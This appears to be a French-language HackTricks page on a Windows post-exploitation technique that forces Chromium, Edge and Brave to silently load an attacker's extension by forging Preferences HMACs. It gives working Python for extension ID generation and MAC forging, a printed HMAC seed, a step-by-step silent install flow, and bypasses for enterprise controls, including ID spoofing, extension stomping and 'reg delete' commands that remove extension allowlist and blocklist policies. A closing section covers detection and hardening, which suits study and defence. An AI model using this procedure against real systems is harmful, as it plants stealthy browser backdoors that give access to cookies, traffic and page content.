Forced Extension Load & Preferences MAC Forgery (Windows)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
Overview
Technique post-exploitation discrète pour forcer le chargement d’extensions arbitraires dans les navigateurs basés sur Chromium sous Windows en modifiant les Preferences/Secure Preferences d’un utilisateur et en forgeant des HMAC valides pour les nœuds modifiés. Fonctionne contre Chrome/Chromium, Edge et Brave. Observé applicable de Chromium 130 à 139 au moment de la publication. Une simple primitive d’écriture disque dans le profil de la victime suffit pour persister une extension avec tous les privilèges sans flags en ligne de commande ni invites utilisateur.
Key idea: Chromium stores per-user extension state in a JSON preferences file and protects it with HMAC-SHA256. If you compute valid MACs with the browser’s embedded seed and write them next to your injected nodes, the browser accepts and activates your extension entry.
Where extension state lives (Windows)
- Profil Chrome non rattaché au domaine :
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Secure Preferences (includes a root “super_mac”).
- Profil Chrome rattaché au domaine :
- %USERPROFILE%/AppData/Local/Google/Chrome/User Data/Default/Preferences
- Nœuds clés utilisés par Chromium :
- extensions.settings.<extension_id> → manifeste/métadonnées embarqués pour l’entrée d’extension
- protection.macs.extensions.settings.<extension_id> → HMAC pour ce blob JSON
- Chromium ≥134: extensions.ui.developer_mode (boolean) must be present and MAC‑signed for unpacked extensions to activate
Schéma simplifié (illustratif):
{
"extensions": {
"settings": {
"<extension_id>": {
"name": "Extension name",
"manifest_version": 3,
"version": "1.0",
"key": "<BASE64 DER SPKI>",
"path": "<absolute path if unpacked>",
"state": 1,
"from_bookmark": false,
"was_installed_by_default": false
// ...rest of manifest.json + required install metadata
}
},
"ui": { "developer_mode": true }
},
"protection": {
"macs": {
"extensions": {
"settings": { "<extension_id>": "<MAC>" },
"ui": { "developer_mode": "<MAC>" }
}
}
}
}
Remarques :
- Edge/Brave conservent des structures similaires. La valeur du protection seed peut différer (on a observé qu’Edge/Brave utilisaient une seed null/autre dans certaines builds).
IDs d’extension : chemin vs clé et comment les rendre déterministes
Chromium dérive l’ID de l’extension comme suit :
- Packed/signed extension : ID = SHA‑256 over DER‑encoded SubjectPublicKeyInfo (SPKI) → prendre les 32 premiers caractères hex → mapper 0–f vers a–p
- Unpacked (no key in manifest) : ID = SHA‑256 over the absolute installation path bytes → mapper 0–f vers a–p
Pour conserver un ID stable entre les hôtes, intégrez une clé publique DER fixe en base64 dans manifest.json sous “key”. L’ID sera dérivé de cette clé au lieu du chemin d’installation.
Script d’aide pour générer un ID déterministe et une paire de clés :
import base64
import hashlib
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa
def translate_crx_id(s: str) -> str:
t = {'0':'a','1':'b','2':'c','3':'d','4':'e','5':'f','6':'g','7':'h','8':'i','9':'j','a':'k','b':'l','c':'m','d':'n','e':'o','f':'p'}
return ''.join(t.get(c, c) for c in s)
def generate_extension_keys() -> tuple[str,str,str]:
priv = rsa.generate_private_key(public_exponent=65537, key_size=2048)
pub = priv.public_key()
spki = pub.public_bytes(encoding=serialization.Encoding.DER,
format=serialization.PublicFormat.SubjectPublicKeyInfo)
crx_id = translate_crx_id(hashlib.sha256(spki).digest()[:16].hex())
pub_b64 = base64.b64encode(spki).decode('utf-8')
priv_der = priv.private_bytes(encoding=serialization.Encoding.DER,
format=serialization.PrivateFormat.TraditionalOpenSSL,
encryption_algorithm=serialization.NoEncryption())
priv_b64 = base64.b64encode(priv_der).decode('utf-8')
return crx_id, pub_b64, priv_b64
print(generate_extension_keys())
Ajoutez la clé publique générée dans votre manifest.json pour verrouiller l’ID :
{
"manifest_version": 3,
"name": "Synacktiv extension",
"version": "1.0",
"key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2lMCg6..."
}
Falsification des MACs d’intégrité de Preferences (core bypass)
Chromium protège les Preferences avec HMAC‑SHA256 sur “path” + valeur JSON sérialisée de chaque nœud. La graine HMAC est intégrée dans resources.pak du navigateur et était encore valide jusqu’à Chromium 139.
Extraire la graine avec GRIT pak_util et localiser le conteneur de la graine (file id 146 dans les builds testés):
python3 pak_util.py extract resources.pak -o resources_v139/
python3 pak_util.py extract resources.pak -o resources_v139_dirty/
# compare a clean vs minimally modified resources.pak to spot the seed holder
xxd -p resources_v139/146
# e748f336d85ea5f9dcdf25d8f347a65b4cdf667600f02df6724a2af18a212d26b788a25086910cf3a90313696871f3dc05823730c91df8ba5c4fd9c884b505a8
Calculez les MACs (hexadécimal en majuscules) comme :
ext_mac = HMAC_SHA256(seed,
"extensions.settings.<crx_id>" + json.dumps(<settings_json>))
devmode_mac = HMAC_SHA256(seed,
"extensions.ui.developer_mode" + ("true" or "false"))
Exemple Python minimal :
import json, hmac, hashlib
def mac_upper(seed_hex: str, pref_path: str, value) -> str:
seed = bytes.fromhex(seed_hex)
# Compact JSON to match Chromium serialization closely
val = json.dumps(value, separators=(',', ':')) if not isinstance(value, str) else value
msg = (pref_path + val).encode('utf-8')
return hmac.new(seed, msg, hashlib.sha256).hexdigest().upper()
# Example usage
settings_path = f"extensions.settings.{crx_id}"
devmode_path = "extensions.ui.developer_mode"
ext_mac = mac_upper(seed_hex, settings_path, settings_json)
devmode_mac = mac_upper(seed_hex, devmode_path, "true")
Écrire les valeurs sous :
- protection.macs.extensions.settings.<crx_id> = ext_mac
- protection.macs.extensions.ui.developer_mode = devmode_mac (Chromium ≥134)
Différences entre navigateurs : sur Microsoft Edge et Brave, le seed peut être null/différent. La structure HMAC reste la même ; ajustez le seed en conséquence.
Conseils d’implémentation
- Utilisez exactement la même sérialisation JSON que Chromium utilise lors du calcul des MACs (un JSON compact sans espaces est sûr en pratique ; trier les clés peut aider à éviter des problèmes d’ordre).
- Assurez-vous que extensions.ui.developer_mode existe et est signé sur Chromium ≥134, sinon votre extension non empaquetée ne s’activera pas.
Flux de chargement silencieux de bout en bout (Windows)
- Générez un ID déterministe et intégrez “key” dans manifest.json ; préparez une extension MV3 non empaquetée avec les permissions souhaitées (service worker/content scripts)
- Créez extensions.settings.
en y intégrant le manifest et les métadonnées d’installation minimales requises par Chromium (state, path pour l’extension non empaquetée, etc.) - Extrayez le seed HMAC de resources.pak (fichier 146) et calculez deux MACs : un pour le nœud settings et un pour extensions.ui.developer_mode (Chromium ≥134)
- Écrivez les nœuds et MACs conçus dans Preferences/Secure Preferences du profil cible ; le prochain lancement activera automatiquement votre extension avec l’intégralité des privilèges déclarés
Contourner les contrôles d’entreprise
- Whitelisted extension hash spoofing (ID spoofing)
- Installez une extension autorisée du Web Store et notez son ID
- Obtenez sa clé publique (par ex. via chrome.runtime.getManifest().key dans le background/service worker ou en récupérant/analysant son .crx)
- Placez cette clé en tant que manifest.key dans votre extension modifiée pour reproduire le même ID
- Enregistrez l’entrée dans Preferences et signez les MACs → les vérifications ExtensionInstallAllowlist qui se basent uniquement sur l’ID sont contournées
-
Extension stomping (ID collision precedence)
-
Si une extension locale non empaquetée partage un ID avec une extension installée depuis le Web Store, Chromium préfère celle non empaquetée. Cela remplace effectivement l’extension légitime dans chrome://extensions tout en préservant l’ID de confiance. Vérifié sur Chrome et Edge (p.ex. Adobe PDF)
-
Neutralizing GPO via HKCU (requires admin)
-
Les policies Chrome/Edge résident sous HKCU\Software\Policies*
-
Avec des droits admin, supprimez/modifiez les clés de policy avant d’écrire vos entrées pour éviter les blocages :
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallAllowlist" /f
reg delete "HKCU\Software\Policies\Google\Chrome\ExtensionInstallBlocklist" /f
Repli bruyant : chargement via la ligne de commande
Depuis Chromium ≥137, –load-extension nécessite également de passer :
--disable-features=DisableLoadExtensionCommandLineSwitch
Cette approche est largement connue et surveillée (p. ex. par EDR/DFIR ; utilisée par des malwares grand public comme Chromeloader). Preference MAC forging is stealthier.
Related flags and more cross‑platform tricks are discussed here:
Impact opérationnel
Une fois acceptée, l’extension s’exécute avec ses permissions déclarées, permettant l’accès au DOM, l’interception/redirection des requêtes, l’accès aux cookies/storage et la capture d’écran — soit, en pratique, une exécution de code dans le navigateur et une persistance durable du profil utilisateur. Le déploiement à distance via SMB ou d’autres canaux est simple car l’activation est pilotée par des données via Preferences.
Détection et durcissement
- Surveiller les processus non‑Chromium écrivant dans Preferences/Secure Preferences, en particulier les nouveaux nœuds sous extensions.settings associés à des entrées protection.macs
- Alerter en cas de basculement inattendu de extensions.ui.developer_mode et d’entrées d’extension valides HMAC mais non approuvées
- Auditer HKCU/HKLM Software\Policies pour détecter toute manipulation ; appliquer les politiques via device management/Chrome Browser Cloud Management
- Privilégier le forced‑install depuis le store avec des verified publishers plutôt que des allowlists ne correspondant qu’à l’extension ID
References
- The Phantom Extension: Backdooring chrome through uncharted pathways
- pak_util.py (GRIT)
- SecurePreferencesFile (prior research on HMAC seed)
- CursedChrome
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

